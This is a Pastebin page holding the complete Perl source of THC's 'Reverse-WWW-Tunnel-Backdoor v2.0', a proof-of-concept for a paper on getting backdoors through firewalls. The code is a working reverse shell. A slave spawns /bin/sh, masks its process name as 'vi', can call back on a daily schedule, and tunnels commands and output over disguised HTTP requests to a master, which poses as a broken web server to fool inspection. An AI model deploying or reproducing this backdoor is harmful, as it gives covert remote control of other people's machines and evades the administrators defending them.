Guest User

Untitled

a guest
Sep 12th, 2017
488
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.47 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. # Reverse-WWW-Tunnel-Backdoor v2.0
  4. # (c) 1998-2002 by van Hauser / [THC] - The Hacker's Choice <vh@reptile.rug.ac.be>
  5. # Check out http://www.thehackerschoice.com
  6. # Proof-of-Concept Program for the paper "Placing Backdoors through Firewalls"
  7. # available at the website above in the "Articles" section.
  8. #
  9.  
  10. # Greets to all THC, TESO, ADM and #bluebox guys
  11.  
  12. # verified to work on Linux, Solaris, AIX and OpenBSD
  13.  
  14. # BUGS: some Solaris machines: select(3) is broken, won't work there
  15. # on some systems Perl's recv is broken :-( (AIX, OpenBSD) ...
  16. # we can't make proper receive checks here. Workaround implemented.
  17. #
  18. # HISTORY:
  19. # v2.0: HTTP 1.0 protocol compliance (finally ;-)
  20. # v1.6: included www-proxy authentication ;-))
  21. # v1.4: porting to various unix types (and I thought perl'd be portable...)
  22. # v1.3: initial public release of the paper including this tool
  23.  
  24. #
  25. # GENERAL CONFIG (except for $MASK, everything must be the same
  26. # for MASTER and SLAVE is this section!)
  27. #
  28. $MODE="POST"; # GET or POST
  29. $CGI_PREFIX="/cgi-bin/orderform";# should look like a valid cgi.
  30. $MASK="vi"; # for masking the program's process name
  31. $PASSWORD="THC"; # anything, nothing you have to rememeber
  32. # (not a real "password" anyway)
  33. #
  34. # MASTER CONFIG (specific for the MASTER)
  35. #
  36. $LISTEN_PORT=8080; # on which port to listen (80 [needs root] or 8080)
  37. $SERVER="127.0.0.1"; # the host to run on (ip/dns) (the SLAVE needs this!)
  38.  
  39. #
  40. # SLAVE CONFIG (specific for the SLAVE)
  41. #
  42. $SHELL="/bin/sh -i"; # program to execute (e.g. /bin/sh)
  43. $DELAY="3"; # time to wait for output after your command(s)
  44. #$TIME="14:39"; # time when to connect to the master (unset if now)
  45. #$DAILY="yes"; # tries to connect once daily if set with something
  46. #$PROXY="127.0.0.1"; # set this with the Proxy if you must use one
  47. #$PROXY_PORT="3128"; # set this with the Proxy Port if you must use one
  48. #$PROXY_USER="user"; # username for proxy authentication
  49. #$PROXY_PASSWORD="pass";# password for proxy authentication
  50. #$DEBUG="yes"; # for debugging purpose, turn off when in production
  51. $BROKEN_RECV="yes"; # For AIX & OpenBSD, NOT for Linux & Solaris
  52.  
  53. # END OF CONFIG # nothing for you to do after this point #
  54.  
  55. ################## BEGIN MAIN CODE ##################
  56.  
  57. require 5.002;
  58. use Socket;
  59.  
  60. $|=1; # next line changes our process name
  61. if ($MASK) { for ($a=1;$a<80;$a++){$MASK=$MASK."\000";} $0=$MASK; }
  62. undef $DAILY if (! $TIME);
  63. if ( !($PROXY) || !($PROXY_PORT) ) {
  64. undef $PROXY;
  65. undef $PROXY_PORT;
  66. }
  67. $protocol = getprotobyname('tcp');
  68.  
  69. if ($ARGV[0] ne "slave" && $ARGV[0] ne "daemon" && $ARGV[0] ne "master" && $ARGV[1] eq "") {
  70. print STDOUT "Proof-of-Concept Program for the paper \"Placing Backdoors through Firewalls\"\navailable at http://www.thehackerschoice.com in the \"Articles\" section.\n";
  71. print STDOUT "Commandline options for rwwwshell:\n\tmaster\t- master mode\n\tslave\t- slave mode\n";
  72. exit(0);
  73. }
  74.  
  75. if ($ARGV[0] eq "slave") {
  76. print STDOUT "starting in slave mode\n";
  77. $SLAVE_MODE = "yeah";
  78. }
  79.  
  80. # check for a correct mode
  81. if ($MODE ne "GET" && $MODE ne "POST") {
  82. print STDOUT "Error: MODE must either be GET or POST, re-edit this perl config\n";
  83. exit(-1);
  84. }
  85.  
  86. if (! $SLAVE_MODE) {
  87. &master;
  88. } else {
  89. &slave;
  90. }
  91. # END OF MAIN FUNCTION
  92.  
  93. ############### SLAVE FUNCTION ###############
  94.  
  95. sub slave {
  96. $pid = 0;
  97. $PROXY_SUFFIX = "Host: " . $SERVER . "\r\nUser-Agent: Mozilla/4.0\r\nAccept: text/html, text/plain, image/jpeg, image/*;\r\nAccept-Language: en\r\n";
  98. if ($PROXY) { # setting the real config (for Proxy Support)
  99. $REAL_SERVER = $PROXY;
  100. $REAL_PORT = $PROXY_PORT;
  101. $REAL_PREFIX = $MODE . " http://" . $SERVER . ":" . $LISTEN_PORT
  102. . $CGI_PREFIX;
  103. $PROXY_SUFFIX = $PROXY_SUFFIX . "Pragma: no-cache\r\n";
  104. if ( $PROXY_USER && USER_PASSWORD ) {
  105. &base64encoding;
  106. $PROXY_SUFFIX = $PROXY_SUFFIX . $PROXY_COOKIE;
  107. }
  108. } else {
  109. $REAL_SERVER = $SERVER;
  110. $REAL_PORT = $LISTEN_PORT;
  111. $REAL_PREFIX = $MODE . " " . $CGI_PREFIX;
  112. }
  113. $REAL_PREFIX = $REAL_PREFIX . "?" if ($MODE eq "GET");
  114. $REAL_PREFIX = $REAL_PREFIX . " HTTP/1.0\r\n" if ($MODE eq "POST");
  115. AGAIN: if ($pid) { kill 9, $pid; }
  116. if ($TIME) { # wait until the specified $TIME
  117. $TIME =~ s/^0//; $TIME =~ s/:0/:/;
  118. (undef,$min,$hour,undef,undef,undef,undef,undef,undef)
  119. = localtime(time);
  120. $t=$hour . ":" . $min;
  121. while ($TIME ne $t) {
  122. sleep(28); # every 28 seconds we look at the watch
  123. (undef,$min,$hour,undef,undef,undef,undef,undef,undef)
  124. = localtime(time);
  125. $t=$hour . ":" .$min;
  126. }
  127. }
  128. print STDERR "Slave activated\n" if $DEBUG;
  129. if ($DAILY) { # if we must connect daily, we'll
  130. if (fork) { # fork the daily shell process to
  131. sleep(69); # ensure the master control process
  132. goto AGAIN; # won't get stuck by a fucking cmd
  133. } # the user executed.
  134. print STDERR "forked\n" if $DEBUG;
  135. }
  136. $address = inet_aton($REAL_SERVER) || die "can't resolve server\n";
  137. $remote = sockaddr_in($REAL_PORT, $address);
  138. $forked = 0;
  139. GO: close(THC);
  140. socket(THC, &PF_INET, &SOCK_STREAM, $protocol)
  141. or die "can't create socket\n";
  142. setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1);
  143. if (! $forked) { # fork failed? fuck, let's try again
  144. pipe R_IN, W_IN; select W_IN; $|=1;
  145. pipe R_OUT, W_OUT; select W_OUT; $|=1;
  146. $pid = fork;
  147. if (! defined $pid) {
  148. close THC;
  149. close R_IN; close W_IN;
  150. close R_OUT; close W_OUT;
  151. goto GO;
  152. }
  153. $forked = 1;
  154. }
  155. if (! $pid) { # this is the child process (execs $SHELL)
  156. close R_OUT; close W_IN; close THC;
  157. print STDERR "forking $SHELL in child\n" if $DEBUG;
  158. open STDIN, "<&R_IN";
  159. open STDOUT, ">&W_OUT";
  160. open STDERR, ">&W_OUT";
  161. exec $SHELL || print W_OUT "couldn't spawn $SHELL\n";
  162. close R_IN; close W_OUT;
  163. exit(0);
  164. } else { # this is the parent (data control + network)
  165. close R_IN;
  166. sleep($DELAY); # we wait $DELAY for the commands to complete
  167. vec($rs, fileno(R_OUT), 1) = 1;
  168. print STDERR "before: allwritten2stdin\n" if $DEBUG;
  169. select($r = $rs, undef, undef, 30);
  170. print STDERR "after : wait for allwritten2stdin\n" if $DEBUG;
  171. sleep(1); # The following readin of the command output
  172. $output = ""; # looks weird. It must be! every system
  173. vec($ws, fileno(W_OUT), 1) = 1; # behaves different :-((
  174. print STDERR "before: readwhiledatafromstdout\n" if $DEBUG;
  175. while (select($w = $ws, undef, undef, 1)) {
  176. read R_OUT, $readout, 1 || last;
  177. $output = $output . $readout;
  178. }
  179. print STDERR "after : readwhiledatafromstdout\n" if $DEBUG;
  180. print STDERR "before: fucksunprob\n" if $DEBUG;
  181. vec($ws, fileno(W_OUT), 1) = 1;
  182. while (! select(undef, $w=$ws, undef, 0.001)) {
  183. read R_OUT, $readout, 1 || last;
  184. $output = $output . $readout;
  185. }
  186. print STDERR "after : fucksunprob\n" if $DEBUG;
  187. print STDERR "send 0byte to stdout, fail->exit\n" if $DEBUG;
  188. print W_OUT "\000" || goto END_IT;
  189. print STDERR "before: readallstdoutdatawhile!eod\n" if $DEBUG;
  190. while (1) {
  191. read R_OUT, $readout, 1 || last;
  192. last if ($readout eq "\000");
  193. $output = $output . $readout;
  194. }
  195. print STDERR "after : readallstdoutdatawhile!eod\n" if $DEBUG;
  196. &uuencode; # does the encoding of the shell output
  197. if ($MODE eq "GET") {
  198. $encoded = $REAL_PREFIX . $encoded . " HTTP/1.0\r\n";
  199. $encoded = $encoded . $PROXY_SUFFIX;
  200. $encoded = $encoded . "\r\n";
  201. } else { # $MODE is "POST"
  202. $encoded = $REAL_PREFIX . $PROXY_SUFFIX
  203. . "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
  204. . $encoded . "\r\n";
  205. }
  206. print STDERR "connecting to remote, fail->exit\n" if $DEBUG;
  207. connect(THC, $remote) || goto END_IT; # connect to master
  208. print STDERR "send encoded data, fail->exit\n" if $DEBUG;
  209. send (THC, $encoded, 0) || goto END_IT; # and send data
  210. $input = "";
  211. vec($rt, fileno(THC), 1) = 1; # wait until master sends reply
  212. print STDERR "before: wait4answerfromremote\n" if $DEBUG;
  213. while (! select($r = $rt, undef, undef, 0.00001)) {}
  214. print STDERR "after : wait4answerfromremote\n" if $DEBUG;
  215. print STDERR "read data from socket until eod\n" if $DEBUG;
  216. $error="no";
  217. # while (1) { # read until EOD (End Of Data)
  218. print STDERR "?" if $DEBUG;
  219. # OpenBSD 2.2 can't recv here! can't get any data! sucks ...
  220. recv (THC, $readin, 16386, 0) || undef $error;
  221. # if ((! $error) and (! $BROKEN_RECV)) { goto OK; }
  222. print STDERR "!" if $DEBUG;
  223. goto OK if (($readin eq "\000") or ($readin eq "\n")
  224. or ($readin eq ""));
  225. $input = $input . $readin;
  226. # }
  227. OK: print STDERR "\nall data read, entering OK\n" if $DEBUG;
  228. print STDERR "RECEIVE: $input\n" if $DEBUG;
  229. $input =~ s/.*\r\n\r\n//s;
  230. print STDERR "BEFORE DECODING: $input\n" if $DEBUG;
  231. &uudecode; # decoding the data from the master
  232. print STDERR "AFTER DECODING: $decoded\n" if $DEBUG;
  233. print STDERR "if password not found -> exit\n" if $DEBUG;
  234. goto END_IT if ($decoded =~ m/^$PASSWORD/s == 0);
  235. $decoded =~ s/^$PASSWORD//;
  236. print STDERR "writing input data to $SHELL\n" if $DEBUG;
  237. print W_IN "$decoded" || goto END_IT; # sending the data
  238. sleep(1); # to the shell proc.
  239. print STDERR "jumping to GO\n" if $DEBUG;
  240. goto GO;
  241. }
  242. END_IT: kill 9, $pid; $pid = 0;
  243. exit(0);
  244. } # END OF SLAVE FUNCTION
  245.  
  246. ############### MASTER FUNCTION ###############
  247.  
  248. sub master {
  249. socket(THC, &PF_INET, &SOCK_STREAM, $protocol)
  250. or die "can't create socket\n";
  251. setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1);
  252. bind(THC, sockaddr_in($LISTEN_PORT, INADDR_ANY)) || die "can't bind\n";
  253. listen(THC, 3) || die "can't listen\n"; # print the HELP
  254. print STDOUT '
  255. Welcome to the Reverse-WWW-Tunnel-Backdoor v2.0 by van Hauser / THC ...
  256.  
  257. Introduction: Wait for your SLAVE to connect, examine it\'s output and then
  258. type in your commands to execute on SLAVE. You\'ll have to
  259. wait min. the set $DELAY seconds before you get the output
  260. and can execute the next stuff. Use ";" for multiple commands.
  261. Trying to execute interactive commands may give you headache
  262. so beware. Your SLAVE may hang until the daily connect try
  263. (if set - otherwise you lost).
  264. You also shouldn\'t try to view binary data too ;-)
  265. "echo bla >> file", "cat >> file <<- EOF", sed etc. are your
  266. friends if you don\'t like using vi in a delayed line mode ;-)
  267. To exit this program on any time without doing harm to either
  268. MASTER or SLAVE just press Control-C.
  269. Now have fun.
  270. ';
  271.  
  272. YOP: print STDOUT "\nWaiting for connect ...";
  273. $remote=accept (S, THC) || goto YOP; # get the connection
  274. ($r_port, $r_slave)=sockaddr_in($remote); # and print the SLAVE
  275. $slave=gethostbyaddr($r_slave, AF_INET); # data.
  276. $slave="unresolved" if ($slave eq "");
  277. print STDOUT " connect from $slave/".inet_ntoa($r_slave).":$r_port\n";
  278. select S; $|=1;
  279. select STDOUT; $|=1;
  280. $input = "";
  281. vec($socks, fileno(S), 1) = 1;
  282. $error="no";
  283. # while (1) { # read the data sent by the slave
  284. while (! select($r = $socks, undef, undef, 0.00001)) {}
  285. recv (S, $readin, 16386, 0) || undef $error;
  286. if ((! $error) and (! $BROKEN_RECV)) {
  287. print STDOUT "[disconnected]\n";
  288. }
  289. # $readin =~ s/\r//g;
  290. # $input = $input . $readin;
  291. # last if ( $input =~ m/\r\n\r\n/s );
  292. $input = $readin;
  293. print STDERR "MASTER RECEIVE: $input\n" if $DEBUG;
  294. # }
  295. &hide_as_broken_webserver if ( $input =~ m/$CGI_PREFIX/s == 0 );
  296. if ( $input =~ m/^GET /s ) {
  297. $input =~ s/^.*($CGI_PREFIX)\??//s;
  298. $input =~ s/\r\n.*$//s;
  299. } else { if ( $input =~ m/^POST /s ) {
  300. $input =~ s/^.*\r\n\r\n//s;
  301. } else { if ( $input =~ m/^HEAD /s ) {
  302. &hide_as_broken_webserver;
  303. } else {
  304. close S;
  305. print STDOUT "Warning! Illegal server access!\n"; # report to user
  306. goto YOP;
  307. } } }
  308. print STDERR "BEFORE DECODING: $input\n" if $DEBUG;
  309. &uudecode; # decoding the data from the slave
  310. &hide_as_broken_webserver if ( $decoded =~ m/^$PASSWORD/s == 0 );
  311. $decoded =~ s/^$PASSWORD//s;
  312. $decoded = "[Warning! No output from remote!]\n>" if ($decoded eq "");
  313. print STDOUT "$decoded"; # showing the slave output to the user
  314. $output = <STDIN>; # and get his input.
  315. &uuencode; # encode the data for the slave
  316. $encoded = "HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Type: text/plain\r\n\r\n" . $encoded . "\r\n";
  317. send (S, $encoded, 0) || die "\nconnection lost!\n"; # and send it
  318. close (S);
  319. print STDOUT "sent.\n";
  320. goto YOP; # wait for the next connect from the slave
  321. } # END OF MASTER FUNCTION
  322.  
  323. ###################### MISC. FUNCTIONS #####################
  324.  
  325. sub uuencode { # does the encoding stuff for error-free data transfer via WWW
  326. $output = $PASSWORD . $output; # PW is for error checking and
  327. $uuencoded = pack "u", "$output"; # preventing sysadmins from
  328. $uuencoded =~ tr/'\n)=(:;&><,#$*%]!\@"`\\\-' # sending you weird
  329. /'zcadefghjklmnopqrstuv' # data. No real
  330. /; # security!
  331. $uuencoded =~ tr/"'"/'b'/;
  332. if ( ($PROXY) && ($SLAVE_MODE) ) {# proxy drops request if > 4kb
  333. $codelength = (length $uuencoded) + (length $REAL_PREFIX) +12;
  334. $cut_length = 4099 - (length $REAL_PREFIX);
  335. $uuencoded = pack "a$cut_length", $uuencoded
  336. if ($codelength > 4111);
  337. }
  338. $encoded = $uuencoded;
  339. } # END OF UUENCODE FUNCTION
  340.  
  341. sub uudecode { # does the decoding of the data stream
  342. $input =~ tr/'zcadefghjklmnopqrstuv'
  343. /'\n)=(:;&><,#$*%]!\@"`\\\-'
  344. /;
  345. $input =~ tr/'b'/"'"/;
  346. $decoded = unpack "u", "$input";
  347. } # END OF UUDECODE FUNCTION
  348.  
  349. sub base64encoding { # does the base64 encoding for proxy passwords
  350. $encode_string = $PROXY_USER . ":" . $PROXY_PASSWORD;
  351. $encoded_string = substr(pack('u', $encode_string), 1);
  352. chomp($encoded_string);
  353. $encoded_string =~ tr|` -_|AA-Za-z0-9+/|;
  354. $padding = (3 - length($encode_string) % 3) % 3;
  355. $encoded_string =~ s/.{$padding}$/'=' x $padding/e if $padding;
  356. $PROXY_COOKIE = "Proxy-authorization: Basic " . $encoded_string . "\n";
  357. } # END OF BASE64ENCODING FUNCTION
  358.  
  359. sub hide_as_broken_webserver { # invalid request -> look like broken server
  360. send (S, "<HTML><HEAD>\r\n<TITLE>404 File Not Found</TITLE>\r\n</HEAD>".
  361. "<BODY>\r\n<H1>File Not Found</H1>\r\n</BODY></HTML>\r\n", 0);
  362. close S;
  363. print STDOUT "Warning! Illegal server access!\n"; # report to user
  364. goto YOP;
  365. } # END OF HIDE_AS_BROKEN_WEBSERVER FUNCTION
  366.  
  367. # END OF PROGRAM # (c) 1998-2002 by <vh@reptile.rug.ac.be>
Add Comment
Please, Sign In to add comment